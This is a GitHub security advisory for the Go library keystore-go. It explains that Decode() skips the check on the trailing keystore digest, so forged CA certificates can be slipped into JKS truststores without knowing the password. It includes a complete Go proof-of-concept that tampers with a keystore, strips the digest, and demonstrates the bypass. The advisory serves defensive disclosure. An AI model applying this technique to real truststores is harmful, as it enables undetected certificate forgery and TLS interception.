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keystore-go: Keystore integrity and password verification bypass via stripped trailing digest in Decode()

High severity GitHub Reviewed Published Jul 9, 2026 in pavlo-v-chernykh/keystore-go

Package

gomod github.com/pavel-v-chernykh/keystore-go (Go)

Affected versions

<= 2.1.0

Patched versions

None
gomod github.com/pavel-v-chernykh/keystore-go/v3 (Go)
< 3.0.0
3.0.0

Description

Summary

keystore.Decode() fails to check the error returned when reading the trailing SHA-1 integrity digest of a JKS keystore. If an attacker removes the final 20 bytes from a .jks file, the digest read returns an empty slice and the byte-comparison loop never executes, so Decode() returns the parsed keystore with err == nil. This defeats both tamper detection and — for certificate-only truststores — the password check itself, allowing an attacker with write access to a keystore file (but without knowledge of the keystore password) to silently inject or replace trusted CA certificates.

Details

Affected versions: github.com/pavel-v-chernykh/keystore-go ≤ v2.1.0+incompatible (the final release on this module path). v3 and v4 releases are not impacted.

In decoder.go, function Decode, lines 264-272:

computedDigest := ksd.md.Sum(nil)
actualDigest, err := ksd.readBytes(uint32(ksd.md.Size()))
for i := 0; i < len(actualDigest); i++ {
    if actualDigest[i] != computedDigest[i] {
        return nil, ErrInvalidDigest
    }
}

return keyStore, nil

Two defects combine here:

  1. The err returned by ksd.readBytes(20) on line 265 is assigned but never inspected.
  2. The comparison loop on line 266 is bounded by len(actualDigest) rather than len(computedDigest).

readBytes (decoder.go lines 75-94) reads the requested bytes via io.ReadFull; on EOF/short read it returns (nil, ErrIo):

_, err := io.ReadFull(ksd.r, ksd.b[:blockSize])
if err != nil {
    return result, ErrIo
}

When the trailing 20-byte digest is absent from the input stream, actualDigest is therefore nil, len(actualDigest) == 0, the for loop body never executes, and Decode() falls through to return keyStore, nil.

The JKS format's only integrity guarantee is this trailing SHA1(passwordBytes || "Mighty Aphrodite" || body) digest. For truststores containing only TrustedCertificateEntry values it is also the only place the password is verified. Consequently:

  • An attacker who can modify a .jks truststore on disk — but does not know the keystore password — can replace or add trusted CA certificates, drop the last 20 bytes of the file, and the consuming Go process will load the forged truststore as valid.
  • After the digest is stripped, Decode() accepts any password, so operators who believe the password gates integrity receive no error even when the wrong password is supplied.

The reference Java JavaKeyStore implementation reads the digest with DataInputStream.readFully and throws on short read; this Go port diverges from that behaviour.

PoC

go mod init poc
go get github.com/pavel-v-chernykh/keystore-go@v2.1.0+incompatible
go run .
package main

import (
        "bytes"
        "fmt"
        "os"

        keystore "github.com/pavel-v-chernykh/keystore-go"
)

func main() {
        originalCert := []byte("ORIGINAL-TRUSTED-CA-CERTIFICATE")
        evilCert := []byte("EVIL-ATTACKER-CA-CERTIFICATE!!!") // same length

        ks := keystore.KeyStore{
                "trusted-ca": &keystore.TrustedCertificateEntry{
                        Certificate: keystore.Certificate{
                                Type:    "X509",
                                Content: originalCert,
                        },
                },
        }

        var buf bytes.Buffer
        if err := keystore.Encode(&buf, ks, []byte("correct-password")); err != nil {
                panic(err)
        }
        legit := buf.Bytes()
        fmt.Printf("[*] Legitimate keystore: %d bytes (last 20 = SHA-1 digest)\n", len(legit))

        // Sanity: untampered keystore with WRONG password is rejected.
        _, err := keystore.Decode(bytes.NewReader(legit), []byte("wrong-password"))
        fmt.Printf("[*] Decode(legit, wrong-password) -> err=%v  (expected ErrInvalidDigest)\n", err)

        // Attacker: tamper with the certificate, then strip the 20-byte digest.
        tampered := bytes.Replace(append([]byte(nil), legit...), originalCert, evilCert, 1)
        tampered = tampered[:len(tampered)-20] // remove trailing SHA-1 digest entirely

        // 1) Tampered keystore + CORRECT password: integrity check should fail.
        out, err := keystore.Decode(bytes.NewReader(tampered), []byte("correct-password"))
        if err == nil {
                entry := out["trusted-ca"].(*keystore.TrustedCertificateEntry)
                fmt.Printf("\n[BYPASS] Tampered keystore accepted with correct password.\n")
                fmt.Printf("         Trusted cert content: %q\n", entry.Certificate.Content)
        } else {
                fmt.Printf("[ok] tampered keystore rejected: %v\n", err)
                os.Exit(1)
        }

        // 2) Tampered keystore + WRONG password: should also fail.
        out2, err2 := keystore.Decode(bytes.NewReader(tampered), []byte("attacker-does-not-know"))
        if err2 == nil {
                entry := out2["trusted-ca"].(*keystore.TrustedCertificateEntry)
                fmt.Printf("[BYPASS] Tampered keystore accepted with WRONG password.\n")
                fmt.Printf("         Trusted cert content: %q\n", entry.Certificate.Content)
        } else {
                fmt.Printf("[ok] wrong password rejected: %v\n", err2)
                os.Exit(1)
        }
}

Expected output:

[*] Legitimate keystore: 97 bytes (last 20 = SHA-1 digest)
[*] Decode(legit, wrong-password) -> err=keystore: invalid digest  (expected ErrInvalidDigest)

[BYPASS] Tampered keystore accepted with correct password.
         Trusted cert content: "EVIL-ATTACKER-CA-CERTIFICATE!!!"
[BYPASS] Tampered keystore accepted with WRONG password.
         Trusted cert content: "EVIL-ATTACKER-CA-CERTIFICATE!!!"

Impact

Any application that uses keystore.Decode() to load a JKS truststore and relies on the keystore password for tamper evidence is affected. An attacker who can write to the .jks file (local user, compromised deployment artefact, writable config volume, etc.) but does not know the keystore password can replace trusted CA certificates undetected. Downstream, this typically enables man-in-the-middle interception of TLS connections that trust the forged CA, compromising confidentiality and integrity of those connections. No authentication to the target application is required beyond file-write access; no user interaction is required.

This defect was fixed in commit af93effd832cf1aef7794e69c31e1b668e17b851 (2019-09-16, "Update to go1.13"), which added an if err != nil { return … } guard after reading the trailing digest and replaced the length-of-actual loop with a full-length bytes.Compare(actualDigest, computedDigest). That commit first shipped in tag v3.0.0. There is no fixed release on the bare github.com/pavel-v-chernykh/keystore-go module path — every release there (v1.0.0 through v2.1.0+incompatible) predates the fix. The fixed code is available under the successor module paths:

  • github.com/pavel-v-chernykh/keystore-go/v3 ≥ v3.0.0
  • github.com/pavel-v-chernykh/keystore-go/v4 ≥ v4.0.0
  • github.com/pavlo-v-chernykh/keystore-go/v4 ≥ v4.0.0 (repository renamed at v4.4.0; the Go module proxy serves all v4.x under both spellings)

Users of the legacy v2 module path remain exposed and should migrate to github.com/pavlo-v-chernykh/keystore-go/v4.

References

Published by the National Vulnerability Database Nov 18, 2026
Published to the GitHub Advisory Database Nov 19, 2026
Reviewed Nov 19, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(0th percentile)

Weaknesses

Unchecked Return Value

The product does not check the return value from a method or function. Learn more on MITRE.

Improper Verification of Cryptographic Signature

The product does not verify, or incorrectly verifies, the cryptographic signature for data. Learn more on MITRE.

Improper Validation of Integrity Check Value

The product does not validate or incorrectly validates the integrity check values or checksums of a message. Learn more on MITRE.

CVE ID

CVE-2026-76101

GHSA ID

GHSA-j282-pjg5-j643

Credits

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